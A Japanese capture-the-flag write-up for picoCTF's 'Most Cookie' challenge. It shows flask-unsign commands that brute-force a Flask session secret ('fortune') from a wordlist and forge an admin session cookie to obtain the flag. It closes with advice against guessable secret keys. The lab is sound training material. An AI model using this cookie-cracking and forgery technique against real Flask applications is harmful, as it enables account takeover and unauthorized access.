Most Cookie Writeup(picoCTF)
hint:How secure is a flask cookie?
URLへアクセスするとMoreCookieと同様クッキーの検索が可能となっていて試しにsnickerdoodleを入れると
That is a cookie! Not very special though...
I love snickerdoodle cookies!
と表示される。
ヒントを読むと
How secure is a flask cookie?
とのこと。
どうやらflaskのセッション情報はすべてCookieに保存されるらしい。
Flaskのセッション管理とセキュリティについて
Baking Flask cookies with your secrets | Paradoxis
セッションの形式はドット区切りで①.②.③のように3つに分かれていて、
①base64でencodeされたデータ
②タイムスタンプ
③秘密鍵で暗号化されたデータ
となっていて秘密鍵が分かれば特定のデータのセッションを偽装することができそう。
試しにflask-unsignと呼ばれるツールを使ってCookieを解析してみる。
flask-unsign · PyPI
flask-unsign --decode --server 'http://mercury.picoctf.net:65344/'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZA4hBw.kIFAQT7fM-u-UoaExNlxt_--5Xk
{'very_auth': 'blank'}
server.pyも与えられているのでコードを読む。
以下の2点が掴めれば道筋が立つ。
①secret_keyはクッキーの名前からランダムに選ばれる
②{'very_auth': 'admin'}の場合にflagを表示する
秘密鍵がランダムなのでクッキーの名前をブルートフォースして{'very_auth': 'admin'}のデータ部分を持つセッションを作成してクッキー分のリクエストを送信してもよいが、使用されている秘密鍵をブルートフォースして特定したほうがよさそう。
まずはサーバからセッションをとってくる。
└─$ flask-unsign --decode --server 'http://mercury.picoctf.net:65344/'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZA4kbA.MqAOCEXIQGJjcM7Uk_pfrWgyPEc
{'very_auth': 'blank'}
この暗号化に使われている秘密鍵はクッキーの名前のいずれかのため、クッキーの名前を列挙したsecretkey_list.txtのワードリストを作成してflask-unsignで解析する。
└─$ flask-unsign -c "eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZA4kbA.MqAOCEXIQGJjcM7Uk_pfrWgyPEc" --unsign -w secretkey_list.txt
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'fortune'
どうやら「fortune」がsecretkeyらしい。
これで{'very_auth': 'admin'}のセッションを作成する。
└─$ flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret 'fortune'
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZA4l_A.QVFxZm5-0WxIfyDegyTQ-ZDth5o
あとはルートディレクトリにアクセスした際のセッションをburpで変更して送信するとflagが取得できる。
flaskを使う際にはsecretkeyは分かりやすいものを使わないように気を付ける。
Baking Flask cookies with your secrets | Paradoxis